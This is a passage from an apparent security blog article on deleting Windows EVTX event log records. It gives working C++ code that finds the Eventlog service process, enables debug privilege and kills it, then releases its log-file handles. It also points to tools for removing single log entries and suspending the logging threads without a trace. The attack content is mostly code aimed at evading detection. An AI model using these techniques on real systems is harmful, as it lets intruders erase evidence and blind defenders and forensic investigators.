= 0;\u003Cbr>\t\tDWORD pcbBytesNeeded;\u003Cbr>\t\tDWORD servicesReturned;\u003Cbr>\t\tLPDWORD lpResumeHandle = NULL;\u003Cbr>\t\tLPCSTR pszGroupName = NULL;\u003Cbr>\t\tBOOL ret = EnumServicesStatusEx(scHandle, infoLevel, dwServiceType, dwServiceState, lpServices, cbBufSize, &amp;pcbBytesNeeded, &amp;servicesReturned, lpResumeHandle, pszGroupName);\u003Cbr>\t\tcbBufSize = pcbBytesNeeded;\u003Cbr>\t\tlpServices = new BYTE[cbBufSize];\u003Cbr>\t\tif (NULL == lpServices)\u003Cbr>\t\t{\u003Cbr>\t\t\tprintf(\"[!]lpServices = new BYTE[%ld] -&gt; fail(%ld)\\n\", cbBufSize, GetLastError());\u003Cbr>\t\t}\u003Cbr>\t\telse\u003Cbr>\t\t{\u003Cbr>\t\t\tret = EnumServicesStatusEx(scHandle, infoLevel, dwServiceType, dwServiceState, lpServices, cbBufSize, &amp;pcbBytesNeeded, &amp;servicesReturned, lpResumeHandle, pszGroupName);\u003Cbr>\t\t\tLPENUM_SERVICE_STATUS_PROCESS lpServiceStatusProcess = (LPENUM_SERVICE_STATUS_PROCESS)lpServices;\u003Cbr>\t\t\tfor (DWORD i = 0; i &lt; servicesReturned; i++)\u003Cbr>\t\t\t{\u003Cbr>\t\t\t\t_strlwr_s(lpServiceStatusProcess[i].lpServiceName, strlen(lpServiceStatusProcess[i].lpServiceName) + 1);\u003Cbr>\t\t\t\tif (strstr(lpServiceStatusProcess[i].lpServiceName, \"eventlog\") != 0)\u003Cbr>\t\t\t\t{\u003Cbr>\t\t\t\t\tprintf(\"[+]ServiceName:%s\\n\", lpServiceStatusProcess[i].lpServiceName);\u003Cbr>\t\t\t\t\tprintf(\"[+]PID:%ld\\n\", lpServiceStatusProcess[i].ServiceStatusProcess.dwProcessId);\u003Cbr>\t\t\t\t\tPID = lpServiceStatusProcess[i].ServiceStatusProcess.dwProcessId;\u003Cbr>\t\t\t\t}\u003Cbr>\t\t\t}\u003Cbr>\t\t\tdelete[] lpServices;\u003Cbr>\t\t}\u003Cbr>\t\tCloseServiceHandle(scHandle);\u003Cbr>\t}\u003Cbr>\tif (PID == 0)\u003Cbr>\t\tprintf(\"[!]Get EventLog's PID error\\n\");\u003Cbr>\u003Cbr>\treturn PID;\u003Cbr>}\u003Cbr>\u003Cbr>int main(int argc, char *argv[])\u003Cbr>{\u003Cbr>\tDWORD pid = getpid();\u003Cbr>\treturn 0;\u003Cbr>}\u003C\u002Fwindows.h>\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch2>0x04 Privilege Escalation to Terminate Eventlog Process\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Ch3>1. Implementation via PowerShell\u003C\u002Fh3>\u003Cp>Execute the cmd command taskkill\u003C\u002Fp>\u003Ch3>2. Implementation via C++\u003C\u002Fh3>\u003Cp>C++ code requires elevated privileges to terminate the svchost.exe process\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>#include \u003Cwindows.h>\u003Cbr>\u003Cbr>#pragma comment(lib,\"Advapi32.lib\") \u003Cbr>\u003Cbr>BOOL EnableDebugPrivilege(BOOL fEnable)\u003Cbr>{\u003Cbr>\tBOOL fOk = FALSE;\u003Cbr>\tHANDLE hToken;\u003Cbr>\u003Cbr>\tif (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &amp;hToken))\u003Cbr>\t{\u003Cbr>\t\tTOKEN_PRIVILEGES tp;\u003Cbr>\t\ttp.PrivilegeCount = 1;\u003Cbr>\t\tLookupPrivilegeValue(NULL, SE_DEBUG_NAME, &amp;tp.Privileges[0].Luid);\u003Cbr>\t\ttp.Privileges[0].Attributes = fEnable ? SE_PRIVILEGE_ENABLED : 0;\u003Cbr>\t\tAdjustTokenPrivileges(hToken, FALSE, &amp;tp, sizeof(tp), NULL, NULL);\u003Cbr>\t\tfOk = (GetLastError() == ERROR_SUCCESS);\u003Cbr>\t\tCloseHandle(hToken);\u003Cbr>\t}\u003Cbr>\treturn(fOk);\u003Cbr>}\u003Cbr>\u003Cbr>DWORD getpid()\u003Cbr>{\u003Cbr>\tDWORD PID = 0;\u003Cbr>\tSC_HANDLE scHandle = OpenSCManager(NULL, NULL, SC_MANAGER_ENUMERATE_SERVICE);\u003Cbr>\tif (scHandle == NULL)\u003Cbr>\t{\u003Cbr>\t\tprintf(\"[!]OpenSCManager fail(%ld)\", GetLastError());\u003Cbr>\t}\u003Cbr>\telse\u003Cbr>\t{\u003Cbr>\t\tSC_ENUM_TYPE infoLevel = SC_ENUM_PROCESS_INFO;\u003Cbr>\t\tDWORD dwServiceType = SERVICE_WIN32;\u003Cbr>\t\tDWORD dwServiceState = SERVICE_STATE_ALL;\u003Cbr>\t\tLPBYTE lpServices = NULL;\u003Cbr>\t\tDWORD cbBufSize = 0;\u003Cbr>\t\tDWORD pcbBytesNeeded;\u003Cbr>\t\tDWORD servicesReturned;\u003Cbr>\t\tLPDWORD lpResumeHandle = NULL;\u003Cbr>\t\tLPCSTR pszGroupName = NULL;\u003Cbr>\t\tBOOL ret = EnumServicesStatusEx(scHandle, infoLevel, dwServiceType, dwServiceState, lpServices, cbBufSize, &amp;pcbBytesNeeded, &amp;servicesReturned, lpResumeHandle, pszGroupName);\u003Cbr>\t\tcbBufSize = pcbBytesNeeded;\u003Cbr>\t\tlpServices = new BYTE[cbBufSize];\u003Cbr>\t\tif (NULL == lpServices)\u003Cbr>\t\t{\u003Cbr>\t\t\tprintf(\"[!]lpServices = new BYTE[%ld] -&gt; fail(%ld)\\n\", cbBufSize, GetLastError());\u003Cbr>\t\t}\u003Cbr>\t\telse\u003Cbr>\t\t{\u003Cbr>\t\t\tret = EnumServicesStatusEx(scHandle, infoLevel, dwServiceType, dwServiceState, lpServices, cbBufSize, &amp;pcbBytesNeeded, &amp;servicesReturned, lpResumeHandle, pszGroupName);\u003Cbr>\t\t\tLPENUM_SERVICE_STATUS_PROCESS lpServiceStatusProcess = (LPENUM_SERVICE_STATUS_PROCESS)lpServices;\u003Cbr>\t\t\tfor (DWORD i = 0; i &lt; servicesReturned; i++)\u003Cbr>\t\t\t{\u003Cbr>\t\t\t\t_strlwr_s(lpServiceStatusProcess[i].lpServiceName, strlen(lpServiceStatusProcess[i].lpServiceName) + 1);\u003Cbr>\t\t\t\tif (strstr(lpServiceStatusProcess[i].lpServiceName, \"eventlog\") != 0)\u003Cbr>\t\t\t\t{\u003Cbr>\t\t\t\t\tprintf(\"[+]ServiceName:%s\\n\", lpServiceStatusProcess[i].lpServiceName);\u003Cbr>\t\t\t\t\tprintf(\"[+]PID:%ld\\n\", lpServiceStatusProcess[i].ServiceStatusProcess.dwProcessId);\u003Cbr>\t\t\t\t\tPID = lpServiceStatusProcess[i].ServiceStatusProcess.dwProcessId;\u003Cbr>\t\t\t\t}\u003Cbr>\t\t\t}\u003Cbr>\t\t\tdelete[] lpServices;\u003Cbr>\t\t}\u003Cbr>\t\tCloseServiceHandle(scHandle);\u003Cbr>\t}\u003Cbr>\u003Cbr>\treturn PID;\u003Cbr>}\u003Cbr>\u003Cbr>int main(int argc, char *argv[])\u003Cbr>{\u003Cbr>\u003Cbr>\tDWORD pid = getpid();\u003Cbr>\tif (pid == 0)\u003Cbr>\t{\u003Cbr>\t\tprintf(\"[!]Get EventLog's PID error\\n\");\u003Cbr>\t\treturn -1;\u003Cbr>\t}\u003Cbr>\u003Cbr>\tprintf(\"[+]Try to EnableDebugPrivilege... \");\u003Cbr>\tif (!EnableDebugPrivilege(TRUE))\u003Cbr>\t{\u003Cbr>\t\tprintf(\"[!]AdjustTokenPrivileges Failed.&lt;%d&gt;\\n\", GetLastError());\u003Cbr>\t\treturn -1;\u003Cbr>\t}\u003Cbr>\tprintf(\"Done\\n\");\u003Cbr>\u003Cbr>\tprintf(\"[+]Try to OpenProcess... \");\u003Cbr>\tHANDLE processHandle = OpenProcess(PROCESS_TERMINATE, FALSE, pid);\u003Cbr>\tif (processHandle == NULL)\u003Cbr>\t{\u003Cbr>\t\tprintf(\"Error\\n\");\u003Cbr>\t\treturn -1;\u003Cbr>\t}\u003Cbr>\tprintf(\"Done\\n\");\u003Cbr>\u003Cbr>\tprintf(\"[+]Try to TerminateProcess... \");\u003Cbr>\tBOOL bResult = TerminateProcess(processHandle, 0);\u003Cbr>\tif (bResult == NULL)\u003Cbr>\t{\u003Cbr>\t\tprintf(\"[!]Error\\n\");\u003Cbr>\t\treturn -1;\u003Cbr>\t}\u003Cbr>\tprintf(\"Done\\n\");\u003Cbr>\u003Cbr>\treturn 0;\u003Cbr>}\u003C\u002Fwindows.h>\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>After terminating the Eventlog service process, the Eventlog service will automatically restart after a period of time\u003C\u002Fp>\u003Ch2>0x05 Release File Handles\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>After terminating the Eventlog service process, it is also necessary to release the handles to the log files in order to obtain file modification permissions\u003C\u002Fp>\u003Cp>\u003Cstrong>Implementation approach:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>1. Use NtQuerySystemInformation to query SystemHandleInformation and obtain handle information for all processes\u003C\u002Fp>\u003Cp>2. Select all handles within the log process\u003C\u002Fp>\u003Cp>3. Release handle\u003C\u002Fp>\u003Cp>Key code is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>BOOL CloseFileHandle(LPWSTR buf1, DWORD pid)\u003Cbr>{\u003Cbr>\tNTSTATUS status;\u003Cbr>\tPSYSTEM_HANDLE_INFORMATION handleInfo;\u003Cbr>\tULONG handleInfoSize = 0x10000;\u003Cbr>\tHANDLE processHandle = NULL;\u003Cbr>\tULONG i;\u003Cbr>\tDWORD ErrorPID = 0;\u003Cbr>\tSYSTEM_HANDLE handle = { 0 };\u003Cbr>\u003Cbr>\t_NtQuerySystemInformation NtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress(GetModuleHandleA(\"NtDll.dll\"), \"NtQuerySystemInformation\");\u003Cbr>\tif (!NtQuerySystemInformation)\u003Cbr>\t{\u003Cbr>\t\tprintf(\"[!]Could not find NtQuerySystemInformation entry point in NTDLL.DLL\");\u003Cbr>\t\treturn 0;\u003Cbr>\t}\u003Cbr>\t_NtDuplicateObject NtDuplicateObject = (_NtDuplicateObject)GetProcAddress(GetModuleHandleA(\"NtDll.dll\"), \"NtDuplicateObject\");\u003Cbr>\tif (!NtDuplicateObject)\u003Cbr>\t{\u003Cbr>\t\tprintf(\"[!]Could not find NtDuplicateObject entry point in NTDLL.DLL\");\u003Cbr>\t\treturn 0;\u003Cbr>\t}\u003Cbr>\t_NtQueryObject NtQueryObject = (_NtQueryObject)GetProcAddress(GetModuleHandleA(\"NtDll.dll\"), \"NtQueryObject\");\u003Cbr>\tif (!NtQueryObject)\u003Cbr>\t{\u003Cbr>\t\tprintf(\"[!]Could not find NtQueryObject entry point in NTDLL.DLL\");\u003Cbr>\t\treturn 0;\u003Cbr>\t}\u003Cbr>\u003Cbr>\thandleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(handleInfoSize);\u003Cbr>\twhile ((status = NtQuerySystemInformation(SystemHandleInformation, handleInfo, handleInfoSize, NULL)) == STATUS_INFO_LENGTH_MISMATCH)\u003Cbr>\t\thandleInfo = (PSYSTEM_HANDLE_INFORMATION)realloc(handleInfo, handleInfoSize *= 2);\u003Cbr>\tif (!NT_SUCCESS(status))\u003Cbr>\t{\u003Cbr>\t\tprintf(\"[!]NtQuerySystemInformation failed!\\n\");\u003Cbr>\t\treturn 0;\u003Cbr>\t}\u003Cbr>\u003Cbr>\tUNICODE_STRING objectName;\u003Cbr>\tULONG returnLength;\u003Cbr>\tfor (i = 0; i &lt; handleInfo-&gt;HandleCount; i++)\u003Cbr>\t{\u003Cbr>\t\thandle = handleInfo-&gt;Handles[i];\u003Cbr>\t\tHANDLE dupHandle = NULL;\u003Cbr>\t\tPOBJECT_TYPE_INFORMATION objectTypeInfo = NULL;\u003Cbr>\t\tPVOID objectNameInfo = NULL;\u003Cbr>\u003Cbr>\t\tif (handle.ProcessId != pid)\u003Cbr>\t\t{\u003Cbr>\t\t\tfree(objectTypeInfo);\u003Cbr>\t\t\tfree(objectNameInfo);\u003Cbr>\t\t\tCloseHandle(dupHandle);\u003Cbr>\t\t\tcontinue;\u003Cbr>\t\t}\u003Cbr>\u003Cbr>\t\tif (handle.ProcessId == ErrorPID)\u003Cbr>\t\t{\u003Cbr>\t\t\tfree(objectTypeInfo);\u003Cbr>\t\t\tfree(objectNameInfo);\u003Cbr>\t\t\tCloseHandle(dupHandle);\u003Cbr>\t\t\tcontinue;\u003Cbr>\t\t}\u003Cbr>\u003Cbr>\t\tif (!(processHandle = OpenProcess(PROCESS_DUP_HANDLE, FALSE, handle.ProcessId)))\u003Cbr>\t\t{\u003Cbr>\t\t\tprintf(\"[!]Could not open PID %d!\\n\", handle.ProcessId);\u003Cbr>\t\t\tErrorPID = handle.ProcessId;\u003Cbr>\t\t\tfree(objectTypeInfo);\u003Cbr>\t\t\tfree(objectNameInfo);\u003Cbr>\t\t\tCloseHandle(dupHandle);\u003Cbr>\t\t\tCloseHandle(processHandle);\u003Cbr>\t\t\tcontinue;\u003Cbr>\t\t}\u003Cbr>\u003Cbr>\t\tif (!NT_SUCCESS(NtDuplicateObject(processHandle, (HANDLE)handle.Handle, GetCurrentProcess(), &amp;dupHandle, 0, 0, 0)))\u003Cbr>\t\t{\u003Cbr>\t\t\t\u002F\u002F\t\t\tprintf(\"[%#x] Error!\\n\", handle.Handle);\u003Cbr>\t\t\tfree(objectTypeInfo);\u003Cbr>\t\t\tfree(objectNameInfo);\u003Cbr>\t\t\tCloseHandle(dupHandle);\u003Cbr>\t\t\tCloseHandle(processHandle);\u003Cbr>\t\t\tcontinue;\u003Cbr>\t\t}\u003Cbr>\t\tobjectTypeInfo = (POBJECT_TYPE_INFORMATION)malloc(0x1000);\u003Cbr>\t\tif (!NT_SUCCESS(NtQueryObject(dupHandle, ObjectTypeInformation, objectTypeInfo, 0x1000, NULL)))\u003Cbr>\t\t{\u003Cbr>\t\t\t\u002F\u002F\t\t\tprintf(\"[%#x] Error!\\n\", handle.Handle);\u003Cbr>\t\t\tfree(objectTypeInfo);\u003Cbr>\t\t\tfree(objectNameInfo);\u003Cbr>\t\t\tCloseHandle(dupHandle);\u003Cbr>\t\t\tCloseHandle(processHandle);\u003Cbr>\t\t\tcontinue;\u003Cbr>\t\t}\u003Cbr>\t\tobjectNameInfo = malloc(0x1000);\u003Cbr>\u003Cbr>\t\tif (IsBlockingHandle(dupHandle) == TRUE) \u002F\u002Ffilter out the object which NtQueryObject could hang on\u003Cbr>\t\t{\u003Cbr>\t\t\tfree(objectTypeInfo);\u003Cbr>\t\t\tfree(objectNameInfo);\u003Cbr>\t\t\tCloseHandle(dupHandle);\u003Cbr>\t\t\tCloseHandle(processHandle);\u003Cbr>\t\t\tcontinue;\u003Cbr>\t\t}\u003Cbr>\t\tCloseHandle(dupHandle);\u003Cbr>\t}\u003Cbr>\tfree(handleInfo);\u003Cbr>\u003Cbr>\treturn TRUE;\u003Cbr>}\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch2>0x06 Modify log files, delete log records\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>After terminating the process corresponding to the Eventlog service, permission to manipulate log files is obtained. Methods and C code for modifying log files can be referenced in the previous article 'Windows XML Event Log (EVTX) Single Log Entry Deletion (Part 2) – Program Implementation to Delete Single Log Records in EVTX Files'.\u003C\u002Fp>\u003Cp>Code reference address:\u003C\u002Fp>\u003Cp>`An open-source project\u003C\u002Fp>\u003Cp>The code implements automatic acquisition of log service processes, termination of processes, release of handles, modification of specified system log file content, and restarting the log service after successful modification\u003C\u002Fp>\u003Cp>Program testing is shown in the figure:\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770019766077_0_bfccb772cc-1.jpeg\">\u003C\u002Fp>\u003Ch3>Update (2018.7.29)\u003C\u002Fh3>\u003Cp>Another implementation approach was seen on GitHub, with the address as follows:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fgithub.com\u002F360-A-Team\u002FEventCleaner\u002Fblob\u002Fmaster\u002FEventCleaner\u002F\u003C\u002Fp>\u003Cp>It is worth noting that log deletion uses the WinAPI EvtExportLog\u003C\u002Fp>\u003Cp>Using EvtExportLog to filter log files, with the filter condition being the removal of a specific log entry, so the newly generated file is the one after deleting the single log entry\u003C\u002Fp>\u003Cp>The advantage is that there is no need to consider the details of log deletion, the file format will not be corrupted, it is convenient and efficient, and modifying the filter conditions can easily delete logs within a certain period\u003C\u002Fp>\u003Cp>However, there is a slight drawback:\u003C\u002Fp>\u003Cp>For subsequent logs after deletion, the EventRecordID is not updated\u003C\u002Fp>\u003Cp>A simple example:\u003C\u002Fp>\u003Cp>There are 10 logs under Security.evtx, with EventRecordIDs from 1 to 10. After deleting the 8th log via EvtExportLog, the EventRecordIDs of the 9th and 10th logs remain unchanged, still 9 and 10. However, the total number of logs after deletion is 9, with EventRecordIDs sequentially being 1-7, 9, 10\u003C\u002Fp>\u003Cp>The method adopted in my code can solve this problem, but it requires considering many details and unexpected situations, making the program implementation relatively complex.\u003C\u002Fp>\u003Cp>Therefore, I have also incorporated the method of using EvtExportLog to delete logs in my project, with the address as follows:\u003C\u002Fp>\u003Cp>`An open-source project\u003C\u002Fp>\u003Cp>The code implements automatically obtaining the log service process, terminating the process, releasing handles, using EvtExportLog to modify the content of specified system log files, and restarting the log service after successful modification.\u003C\u002Fp>\u003Cp>Program testing is shown in the figure:\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770019779831_1_0deefe4a39-1.jpeg\">\u003C\u002Fp>\u003Ch2>0x07 Other Details\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>In some cases, closing the Eventlog process and restarting the Eventlog service may generate log files located under system.evtx, with EventIDs 7034 and 7036.\u003C\u002Fp>\u003Cp>To avoid generating logs 7034 and 7036, the logging function can be disabled by terminating the Eventlog service thread.\u003C\u002Fp>\u003Cp>PowerShell implementation code for terminating the Eventlog service thread:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fgithub.com\u002Fhlldz\u002FInvoke-Phant0m\u003C\u002Fp>\u003Cp>C implementation code for terminating the Eventlog service thread:\u003C\u002Fp>\u003Cp>An open-source project\u003C\u002Fp>\u003Cp>Analysis article introducing details:\u003C\u002Fp>\u003Cp>Bypassing Windows Log Monitoring Using API NtQueryInformationThread and I_QueryTagInformation\u003C\u002Fp>\u003Cp>In practical applications, the thread is typically suspended first and then resumed at the end\u003C\u002Fp>\u003Cp>Reference address:\u003C\u002Fp>\u003Cp>`An open-source project\u003C\u002Fp>\u003Cp>The code supports suspending, resuming, and terminating the log service thread, which can be used to disable and restore logging functionality\u003C\u002Fp>\u003Ch2>0x07 Summary\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article describes a method to delete a single log record in the current system by terminating the corresponding service process, releasing file handles, and freeing file occupancy.\u003C\u002Fp>\u003Cp>Optimized the code for disabling logging functionality by adding suspension and resumption code, supporting the disabling and re-enabling of the system's logging feature.\u003C\u002Fp>\u003C\u002Fbody>\u003C\u002Fhtml>",1635,"Onedaysec",7,"published","2026-02-02T08:19:47.663Z",{"title":37,"description":14,"keywords":38,"ogImage":39,"canonicalUrl":39,"noIndex":40},"Delete Windows EVTX Log Records by Releasing File Handles","Windows EVTX log deletion, Eventlog service, file handles, svchost.exe, C program, log forensics",null,false,[],{"docs":43,"hasNextPage":40},[44,45,46,4],143,142,141,{"title":39,"description":39,"image":39},"2026-07-24T15:37:15.165Z","2026-07-23T16:01:04.337Z","draft","2026-07-23T16:03:57.648Z"]